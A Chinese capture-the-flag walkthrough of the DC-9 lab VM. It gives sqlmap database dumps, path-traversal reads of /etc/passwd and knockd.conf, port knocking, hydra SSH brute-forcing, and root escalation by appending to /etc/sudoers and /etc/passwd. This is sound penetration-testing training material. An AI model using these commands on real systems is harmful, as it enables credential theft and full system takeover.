DC-9靶机做题记录

靶机下载地址:

链接:https://pan.baidu.com/s/1LR44-oFnO6NU6bTNs7VNrw?pwd=hzke 
提取码:hzke 

参考:

  • 【DC系列靶机DC9通关讲解】 https://www.bilibili.com/video/BV1p24y1s78C/?share_source=copy_web&vd_source=12088c39299ad03109d9a21304b34fef
  • 靶机下载地址:http://www.five86.com/downloads/DC-9.zip
  • http://t.csdnimg.cn/gOEQC
  • http://t.csdnimg.cn/7aIcG
  • DC-9 (1).pdf

image.png
描述:

DESCRIPTION 说明
DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-9是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。

The ultimate goal of this challenge is to get root and to read the one and only flag.
这个挑战的最终目标是扎根并阅读唯一的旗帜。

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。

TECHNICAL INFORMATION 技术信息
DC-9 is a VirtualBox VM built on Debian 64 bit, but there shouldn't be any issues running it on most PCs.
DC-9是一个基于Debian 64位构建的VirtualBox虚拟机,但在大多数电脑上运行它应该不会有任何问题。

DC-9 has been tested successfully on VMWare Player, but if there are any issues running this VM in VMware, have a read through of this.
DC-9已在VMWare Player上成功测试,但如果在VMWare中运行此VM有任何问题,请仔细阅读。

It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP.
它目前已配置为桥接网络,但可以根据您的要求进行更改。已为DHCP配置网络。

Installation is simple - download it, unzip it, and then import it into VirtualBox or VMWare and away you go.
安装很简单——下载它,解压缩它,然后将它导入VirtualBox或VMWare,然后就可以离开了。

IMPORTANT 重要的
While there should be no problems using this VM, by downloading it, you accept full responsibility for any unintentional damage that this VM may cause.
虽然使用此虚拟机应该没有问题,但通过下载它,您将对此虚拟机可能造成的任何意外损坏承担全部责任。

In saying that, there shouldn't be any problems, but I feel the need to throw this out there just in case.
这么说,应该没有任何问题,但我觉得有必要把它扔出去以防万一。

1、导入VMware虚拟机

下载完成后,得到DC-9.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

2、拍摄快照,防止后面出问题,有快照还能恢复到初始设置
image.png
3、kali创建一个目录 dc9 ,后续的操作都在该目录下进行
image.png

使用工具

攻击者:kali 192.168.1.128
靶机:dc-9 192.168.1.137

一.信息收集

基础信息查询

0x01 查看存活主机 0x02 查看开放端口 和 0x03 查看端口服务

这几条命令的用法可以看之前的博客,这里不再赘述
image.png

目录扫描
dirsearch -u "192.168.1.137" -e php -i 200
  • -e 表示扫描php
  • -i 表示只看 200状态码的
  • -x 表示不看相关的状态码
  • –random-agent 表示使用随机的UA头

image.png

页面探测

image.png
image.png
测试一下search页面是否存在SQL注入漏洞
image.png
image.png
测试发现,Search页面搜索然后跳到results页面的时候存在SQL注入

二、SQLmap自动化注入

爆库名(用post的方式)

sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -dbs
  • –data 表示是POST的方式,data是POST带的数据
  • –batch 自动帮我们确定下一步,自动化操作
  • -dbs 显示数据库

image.png

爆表名

  • 先看一下users表的内容
sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -D users -tables	

image.png

爆列名

sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -D users -T UserDetails --columns

image.png

爆字段

看看username,password

sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -D users -T UserDetails -C username,password --dump

image.png
这个username和password被sqlmap保存在了一个csv里面
image.png
我们用逗号作为分隔符,把username和password分别保存为两个txt,等一下爆破要用

cat /root/.local/share/sqlmap/output/192.168.1.137/dump/users/UserDetails.csv | awk -F, '{print $1}'

image.png

 cat /root/.local/share/sqlmap/output/192.168.1.137/dump/users/UserDetails.csv | awk -F, '{print $1}' > username.txt

 cat /root/.local/share/sqlmap/output/192.168.1.137/dump/users/UserDetails.csv | awk -F, '{print $2}' > password.txt

image.png

  • 再回去看看刚刚那个Staff数据库

也是一样的顺序和命令

Staff爆表名

sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -D Staff --tables

image.png

Staff爆列名

sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -D Staff -T Users --columns

image.png

Staff爆字段

  • 查看一下Username和Password
sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -D Staff -T Users -C Username,Password --dump

image.png
发现admin账号
密码一眼丁真为MD5加密,找一个在线解密网站解密即可

  • https://www.cmd5.org/
  • https://www.somd5.com/

CMD5查到了但要钱才能解锁,换一个
image.png
换成somd5就可以了,密码为transorbital1
image.png
可以用来登录Web页面
image.png
注意到下面有File does not exist,想到是程序引用或读取了一个不存在的文件才会回显这个,说明可能存在任意文件读取漏洞
image.png
参数名是file,构造payload:

?file=../../../../../../../etc/passwd

image.png

打开SSH端口

ssh 的22端口状态是filtered 的,猜想是运行了knockd 服务,才导致ssh处于关闭状态

port knocking

(参考端口敲门服务):
如字面意思,类似‘敲门’,只是这里敲的是‘端口’,而且需要按照顺序‘敲’端口。如果敲击规则匹配,则可以让防火墙实时更改策略。从而达到开关防火墙的目的。

使用者连接之前必须先依序 '敲击' 指定端口 (port knocking), knockd 才开放受到保护的端口

它的配置文件路径为/etc/knockd.conf
那我们利用任意文件读取漏洞查看一下konckd的配置文件
构造payload:

?file=../../../../../../../etc/knockd.conf

image.png
Ctrl+U查看一下源代码显示得更清楚一点
image.png
配置文件说明需要依次敲击7469,8475,9842这三个端口才行

方法一

使用knock程序

开启
knock  <target>  7000 8000 9000
关闭
knock  <target>  9000 8000 7000
方法二:
Open:
nc -z <target> 7000 8000 9000
Close:
nc -z <target> 9000 8000 7000

我们直接用 nc 吧

nc -z 192.168.1.137 7469 8475 9842

knock 之后就可以看见ssh的22端口是 open 的状态的了
image.png

九头蛇爆破(参考Hydra密码爆破工具使用教程图文教程(超详细)_hydra使用教程-CSDN博客)

hydra -L username.txt -P password.txt ssh://192.168.1.137
  • -L 指定用户名字典
  • -P 指定密码字典

image.png
获得三个账号密码,依次登录看看

  • chandlerb里啥也没有

image.png

  • chandlerb里也啥都没有

image.png

  • janitor里有一个密码本

image.png
将这几个密码添加到我们原来的password.txt里面去

echo 'BamBam01                                                              
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts' >> password.txt

image.png
再用九头蛇进行爆破,再跑一遍
发现多了一个fredf账号,密码为B4-Tru3-001
image.png

sudo -l

发现它可以不需要密码,以root权限去执行文件/opt/devstuff/dist/test/test
image.png
cd 到该目录看看
image.png
test.py表名

  1. 运行需要三个参数,第一个参数就是test执行文件它本身
  2. 第二个参数就是会执行读取第二个文件的内容的操作
  3. 第三个参数是把第二个文件的内容追加到第三个文件中,因为它用的是“a”这个模式,a是append,追加的意思

提权

方法一:

有一个叫sudo的东西
sudo就是正常情况下,你想要以非root用户执行一条root命令的话,就需要用到它
而sudo它有一个/etc/sudoers文件
这个文件配置了你能做什么操作
root ALL=(ALL:ALL) ALL就说明root什么都能做
image.png
所以我们需要在/etc/sudoers下追加一条命令,让我们这个用户能做ALL所有事情

fredf    ALL=(ALL:ALL) ALL

我们现在当前目录下创建一个a.txt,添加如下的内容
image.png
然后运行test这个可执行文件,把内容添加到 /etc/sudoers 里面去

sudo /opt/devstuff/dist/test/test a.txt /etc/sudoers

image.png
现在就是牛逼的sudoers了,想提权就敲这条命令

sudo su -
  • sudo 就是我要用root用户去执行root命令
  • su 就是提权
    • 就是切换到它的环境变量里

image.png
下载就可以在/root目录下获得最终的flag了
image.png

方法二:

原理: /etc/passwd 文件中含有的用户会去 /etc/shadow 文件中校验,如果 /etc/shadow 文件中没有则会无密码直接su切换用户

先利用openssl命令创建一个密码

openssl passwd -1 -salt <用户名> <密码>

得到hash密码,$1$hacker$TzyKlv0/R/c28R.GAeLw.1
接着到tmp目录新建一个文件

cd /tmp
 
echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0::/root:/bin/bash' > hacker

这里有个注意的地方,写入的时候必须是单引号,也就是echo ‘…’,不能是echo “…”,双引号会导致最后失败
对内容的解释,passwd文件每一行的格式如下:

  • 用户名:密码(hash):uid:gid:说明:家目录:登陆后使用的shell

image.png
然后运行脚本,把内容添加到 /etc/passwd 文件里面去

sudo /opt/devstuff/dist/test/test hacker /etc/passwd

image.png
切换到/roor目录就可以发现flag了

总结:

  1. 信息收集,目录扫描,开头的步骤很重要
  2. SQlmap自动化注入的操作了解加深
  3. 了解到了Knock服务
  4. Hydra工具的使用
  5. 提权,对/etc/pawwd 文件格式的了解,以及对/etc/sudoers 文件的了解

完毕!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/347546.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Fluent Bit配置与使用——基于版本V2.2.2

Fluent Bit日志采集终端 文档适用版本&#xff1a;V2.2 1、日志文件处理流程 数据源是一个普通文件&#xff0c;其中包含 JSON 内容&#xff0c;使用tail插件记录日志&#xff0c;通过parsers进行格式化匹配&#xff08;图里没写&#xff09;&#xff0c;通过两个筛选器&…

白酒:发酵过程中的化学反应与香气形成

云仓酒庄的豪迈白酒在发酵过程中经历了多种化学反应&#xff0c;这些反应对于酒的香气和口感的形成起到了至关重要的作用。 首先&#xff0c;我们要了解发酵的定义。发酵是一个生物化学过程&#xff0c;通过特定微生物的作用&#xff0c;将原料中的糖类物质转化为酒精和二氧化碳…

爬虫正则+bs4+xpath+综合实战详解

Day3 - 1.数据解析概述_哔哩哔哩_bilibili 聚焦爬虫&#xff1a;爬取页面中指定的页面内容 编码流程&#xff1a;指定url -> 发起请求 -> 获取响应数据 -> 数据解析 -> 持久化存储 数据解析分类&#xff1a;正则、bs4、xpath(本教程的重点) 数据解析原理概述&am…

JQuery下载和一些语法

最近学了六种jQuery选择器&#xff0c;我想把学过案例和知识结合起来&#xff0c;给大家分享下&#xff01; 那么既然学jQuery选择器&#xff0c;肯定要先了解下jQuery是什么吧&#xff01;jQuery是一个快速、简洁的JavaScript框架&#xff0c;相当于用jQuery能更加高效的创建…

男主角展现炸裂演技,演绎方式独具匠心,令人叹为观止

♥ 为方便您进行讨论和分享&#xff0c;同时也为能带给您不一样的参与感。请您在阅读本文之前&#xff0c;点击一下“关注”&#xff0c;非常感谢您的支持&#xff01; 文 |猴哥聊娱乐 编 辑|徐 婷 校 对|侯欢庭 在漫长的等待之后&#xff0c;《要久久爱》这部都市情感剧终…

Redis的主从复制

目录 一、主从复制 1.主从复制是什么 2. 主从复制能干嘛 3 主从复制 3.1创建一主二仆 3.2创建伪主从 3.3编写配置文件 3.4启动三台redis服器 3.5配置注册关系 4.复制原理 5.薪火相传 6.反客为主 7.哨兵模式(sentinel) 一、主从复制 1.主从复制是什么 主机数据更新…

服务器运维小技巧(二)——如何进行监控告警

服务器运维难度高的原因&#xff0c;很大程度是因为服务器一旦出现问题&#xff0c;生产环境的业务就会受到严重影响&#xff0c;极有可能带来难以承担的后果。因此这份工作要求工程师保持高要求的服务质量&#xff0c;能够快速响应问题&#xff0c;及时解决问题。 但是“及时…

EasyExcel实现导出图片到excel

pom依赖&#xff1a; <dependency><groupId>com.alibaba</groupId><artifactId>easyexcel</artifactId><version>3.1.0</version> </dependency> 实体类&#xff1a; package com.aicut.monitor.vo;import com.aicut.monit…

springboot优雅停机

import org.springframework.context.annotation.Configuration;import javax.annotation.PreDestroy;Configuration public class DataBackupConfig {PreDestroypublic void backData(){System.out.println("开始备份..."System.currentTimeMillis());System.out.pr…

【机器学习300问】18、正则化是如何解决过拟合问题的?

当我初次看见“正则化”三个字的时候&#xff0c;我简直头疼。在我的理解里“正则”还是Python中用在字符串处理的re正则库呢&#xff01;怎么加一个“化”字就看不懂了&#xff01;听我给你慢慢道来。 一、正则化中的“正则”是个啥玩意儿&#xff1f; 正则化&#xff08;Reg…

Docker安装多个nginx容器时,要注意端口设置:

Docker安装多个nginx容器时&#xff0c;要注意端口设置&#xff1a; docker run -id --namemynginx4 -p 8089:80 nginx 安装多个nginx容器时&#xff0c;要注意端口设置&#xff1a;宿主机80端口已经被暂用&#xff0c;所以宿主机端口一定不能设置位80&#xff0c;但是容器上80…

三篇论文联合复现:高比例新能源下考虑需求侧响应和智能软开关的配电网重构程序代码!

适用平台&#xff1a;MatlabYalmipCplex 程序在高比例新能源接入的情况下提出了考虑需求响应&#xff08;DR&#xff09;和智能软开关&#xff08;SOP&#xff09;的多时段主动配电网重构策略&#xff0c;进一步降低配电系统重构费用&#xff0c;减少弃风率和弃光率&#xff1…

鼠标移入/点击子组件,获取选中子组件事件

不管是移入&#xff0c;或者是点击事件 都要知道是触发的哪个组件 这里子组件是个通用小标题title 所以&#xff0c;通过标题内容&#xff0c;获取触发的哪个子组件子组件 <template><div mouseover"tMouseover" mouseleave"tMouseLeave" class&…

五、flowable操作、查询相关

1、依赖 <dependency><groupId>com.ikaiyong.score</groupId><artifactId>score-spring-boot-starter-flowable</artifactId></dependency> 2、流程部署相关 如下建立对应文件和文件夹 2.1 流程部署 /*** 部署流程* param name*/GetMapp…

3d导模型赋予材质方法---模大狮模型网

给3D模型赋予材质的方法可以根据您使用的软件和工作流程而有所不同。以下是一般的步骤&#xff0c;您可以根据自己的情况进行调整&#xff1a; 准备模型&#xff1a;首先&#xff0c;确保您的模型已经完全建模并进行了UV映射。UV映射是将2D纹理坐标应用到3D模型表面的过程&…

17 位社区大咖寄语,Seata 进入 Apache 孵化器

北京时间 2023 年 10 月 29 日&#xff0c;分布式事务开源项目 Seata 正式通过 Apache 基金会的投票决议&#xff0c;以全票通过的优秀表现正式成为 Apache 孵化器项目&#xff01; 根据 Apache 基金会邮件列表显示&#xff0c;在包含 13 个约束性投票 (binding votes) 和 6 个…

MVC模式

Model-View-Controller : 模型-视图-控制器模式&#xff0c;用于应用程序的分层开发。 Model(模型)&#xff1a;代表一个存取数据的对象。也可以带有逻辑&#xff0c;在数据变化时更新控制器。 View(视图)&#xff1a;代表模型包含的数据的可视化。 Controller(控制器)&#xf…

提取视频中的某一帧画面,留住视频中的美好瞬间

你是否曾经被视频中的某一帧画面深深吸引&#xff0c;却又惋惜于无法将其永久保存&#xff1f;现在&#xff0c;有了我们【媒体梦工厂】&#xff0c;这一遗憾将成为过去&#xff0c;这个软件可以提取视频中的某一帧保存为图片&#xff0c;为你留住那些稍纵即逝的美好。 所需工…

《数字电子电路》 课程设计:十字路口红绿灯自动控制系统(上)(multisim仿真及PCB实现)

&#xff08;一&#xff09;前言 本系列文章就笔者在大二下学期进行《数字电子线路》课程设计的题目&#xff1a;十字路口红绿灯自动控制系统 进行详细的讲解&#xff0c;希望对读者有所帮助。 &#xff08;二&#xff09;目录 一、主要指标及要求 二、电路工作原理 1、工作原…